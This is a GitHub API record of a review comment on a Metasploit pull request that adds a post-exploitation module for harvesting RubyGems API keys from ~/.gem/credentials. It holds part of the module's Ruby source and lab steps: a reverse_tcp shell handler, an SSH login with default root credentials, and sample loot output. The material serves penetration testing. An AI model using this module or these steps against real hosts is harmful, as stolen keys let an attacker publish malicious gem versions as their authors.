{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/23587106","id":23587106,"diff_hunk":"@@ -0,0 +1,65 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+require 'yaml'\n+\n+class Metasploit3 < Msf::Post\n+\n+  include Msf::Post::File\n+  include Msf::Post::Unix\n+\n+  def initialize(info={})\n+    super( update_info( info,\n+      'Name'          => 'Multi RubyGems API Key Gather ./gem/credentials',\n+      'Description'   => %q{\n+        This module obtains a user's RubyGems API key from ~/.gem/credentials.\n+      },\n+      'License'       => MSF_LICENSE,\n+      'Author'        => [ 'Jonathan Claudius <jclaudius[at]trustwave.com>',\n+                           'Brandon Myers <bmyers[at]trustwave.com>' ],\n+      'Platform'      => %w{ bsd linux osx unix },\n+      'SessionTypes'  => [ 'shell' ]\n+    ))\n+  end\n+\n+  def run\n+    print_status(\"Finding .gem/credentials\")\n+    paths = enum_user_directories.map {|d| d + \"/.gem/credentials\"}\n+    paths = paths.select { |f| file?(f) }\n+\n+    if paths.nil? or paths.empty?","path":"modules/post/multi/gather/rubygems_api_key.rb","position":null,"original_position":33,"commit_id":"eed9fbe02473dcae95cf2ea52e0f4559f898e628","original_commit_id":"ee7ecb349dd281f68a5f1225e3a21c1a9d2c8511","user":{"login":"claudijd","id":794283,"avatar_url":"https://avatars.githubusercontent.com/u/794283?v=3","gravatar_id":"","url":"https://api.github.com/users/claudijd","html_url":"https://github.com/claudijd","followers_url":"https://api.github.com/users/claudijd/followers","following_url":"https://api.github.com/users/claudijd/following{/other_user}","gists_url":"https://api.github.com/users/claudijd/gists{/gist_id}","starred_url":"https://api.github.com/users/claudijd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/claudijd/subscriptions","organizations_url":"https://api.github.com/users/claudijd/orgs","repos_url":"https://api.github.com/users/claudijd/repos","events_url":"https://api.github.com/users/claudijd/events{/privacy}","received_events_url":"https://api.github.com/users/claudijd/received_events","type":"User","site_admin":false},"body":"Fixed in c496d2c","created_at":"2015-01-27T04:51:29Z","updated_at":"2015-01-27T04:51:29Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/4645#discussion_r23587106","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4645","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/23587106"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4645#discussion_r23587106"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4645"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4645","id":28081633,"html_url":"https://github.com/rapid7/metasploit-framework/pull/4645","diff_url":"https://github.com/rapid7/metasploit-framework/pull/4645.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/4645.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4645","number":4645,"state":"open","locked":false,"title":"Add RubyGems API Key Gather Post Module","user":{"login":"claudijd","id":794283,"avatar_url":"https://avatars.githubusercontent.com/u/794283?v=3","gravatar_id":"","url":"https://api.github.com/users/claudijd","html_url":"https://github.com/claudijd","followers_url":"https://api.github.com/users/claudijd/followers","following_url":"https://api.github.com/users/claudijd/following{/other_user}","gists_url":"https://api.github.com/users/claudijd/gists{/gist_id}","starred_url":"https://api.github.com/users/claudijd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/claudijd/subscriptions","organizations_url":"https://api.github.com/users/claudijd/orgs","repos_url":"https://api.github.com/users/claudijd/repos","events_url":"https://api.github.com/users/claudijd/events{/privacy}","received_events_url":"https://api.github.com/users/claudijd/received_events","type":"User","site_admin":false},"body":"This post module will look at the target OS for user directories with ./gem/credentials files, which can house RubyGems API keys, which are used by gem owners to publish their Ruby Gems to a central repository and are stored in clear text.  An attacker (or security tester) who recovers this API will be able to publish new gem versions as the gem author.\r\n\r\nTo replicate this check, please follow these steps...\r\n\r\n- Setup a Host B with a .gem/credentials file w/ these contents\r\n\r\n```\r\n---\r\n:rubygems_api_key: my_rubygems_api_key\r\n```\r\n\r\n- Set up a multi-handler on Host A\r\n\r\nuse exploit/multi/handler\r\nset payload linux/x86/shell/reverse_tcp\r\nset lhost 192.168.10.173\r\nset lport 1337\r\nset ExitOnSession false\r\nexploit –j\r\n\r\n- Use ssh login module to start a session on Host A\r\n\r\nuse auxiliary/scanner/ssh/ssh_login\r\nset RHOSTS 192.168.10.142\r\nset username root\r\nset password toor\r\nrun\r\n\r\n- Go into the post module on Host A and run it against session from Host B\r\n\r\nuse post/multi/gather/rubygems_api_key\r\nset session 1\r\nrun\r\n\r\n- The end result should look something like this...\r\n\r\n    msf post(rubygems_api_key) > run\r\n\r\n    [*] Finding .gem/credentials\r\n    [*] Looting 1 files\r\n    [+] Found a RubyGems API Key: my_rubygems_api_key\r\n    [*] RubyGems API Key stored in: /root/.msf4/loot/20150126215503_testing_192.168.10.142_host.rubygems.ap_551484.txt\r\n    [*] Post module execution completed\r\n","created_at":"2015-01-27T03:40:41Z","updated_at":"2015-01-27T04:51:29Z","closed_at":null,"merged_at":null,"merge_commit_sha":"8a68c5854537d436b69fa646e2fc1d6cfd1b3a85","assignee":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4645/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4645/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4645/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/eed9fbe02473dcae95cf2ea52e0f4559f898e628","head":{"label":"claudijd:rubygems_api_post","ref":"rubygems_api_post","sha":"eed9fbe02473dcae95cf2ea52e0f4559f898e628","user":{"login":"claudijd","id":794283,"avatar_url":"https://avatars.githubusercontent.com/u/794283?v=3","gravatar_id":"","url":"https://api.github.com/users/claudijd","html_url":"https://github.com/claudijd","followers_url":"https://api.github.com/users/claudijd/followers","following_url":"https://api.github.com/users/claudijd/following{/other_user}","gists_url":"https://api.github.com/users/claudijd/gists{/gist_id}","starred_url":"https://api.github.com/users/claudijd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/claudijd/subscriptions","organizations_url":"https://api.github.com/users/claudijd/orgs","repos_url":"https://api.github.com/users/claudijd/repos","events_url":"https://api.github.com/users/claudijd/events{/privacy}","received_events_url":"https://api.github.com/users/claudijd/received_events","type":"User","site_admin":false},"repo":{"id":3292615,"name":"metasploit-framework","full_name":"claudijd/metasploit-framework","owner":{"login":"claudijd","id":794283,"avatar_url":"https://avatars.githubusercontent.com/u/794283?v=3","gravatar_id":"","url":"https://api.github.com/users/claudijd","html_url":"https://github.com/claudijd","followers_url":"https://api.github.com/users/claudijd/followers","following_url":"https://api.github.com/users/claudijd/following{/other_user}","gists_url":"https://api.github.com/users/claudijd/gists{/gist_id}","starred_url":"https://api.github.com/users/claudijd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/claudijd/subscriptions","organizations_url":"https://api.github.com/users/claudijd/orgs","repos_url":"https://api.github.com/users/claudijd/repos","events_url":"https://api.github.com/users/claudijd/events{/privacy}","received_events_url":"https://api.github.com/users/claudijd/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/claudijd/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/claudijd/metasploit-framework","forks_url":"https://api.github.com/repos/claudijd/metasploit-framework/forks","keys_url":"https://api.github.com/repos/claudijd/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/claudijd/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/claudijd/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/claudijd/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/claudijd/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/claudijd/metasploit-framework/events","assignees_url":"https://api.github.com/repos/claudijd/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/claudijd/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/claudijd/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/claudijd/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/claudijd/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/claudijd/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/claudijd/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/claudijd/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/claudijd/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/claudijd/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/claudijd/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/claudijd/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/claudijd/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/claudijd/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/claudijd/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/claudijd/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/claudijd/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/claudijd/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/claudijd/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/claudijd/metasploit-framework/merges","archive_url":"https://api.github.com/repos/claudijd/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/claudijd/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/claudijd/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/claudijd/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/claudijd/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/claudijd/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/claudijd/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/claudijd/metasploit-framework/releases{/id}","created_at":"2012-01-28T19:05:52Z","updated_at":"2014-06-13T02:00:05Z","pushed_at":"2015-01-27T04:48:19Z","git_url":"git://github.com/claudijd/metasploit-framework.git","ssh_url":"git@github.com:claudijd/metasploit-framework.git","clone_url":"https://github.com/claudijd/metasploit-framework.git","svn_url":"https://github.com/claudijd/metasploit-framework","homepage":"http://www.metasploit.com/","size":247404,"stargazers_count":1,"watchers_count":1,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"open_issues_count":0,"forks":1,"open_issues":0,"watchers":1,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"cb2bef878bd70ebc6aa78097826b31a3b0403458","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-01-27T03:50:20Z","pushed_at":"2015-01-26T22:50:53Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1149964,"stargazers_count":3228,"watchers_count":3228,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":2718,"mirror_url":null,"open_issues_count":197,"forks":2718,"open_issues":197,"watchers":3228,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4645"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4645"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4645"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4645/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4645/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4645/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/eed9fbe02473dcae95cf2ea52e0f4559f898e628"}}}}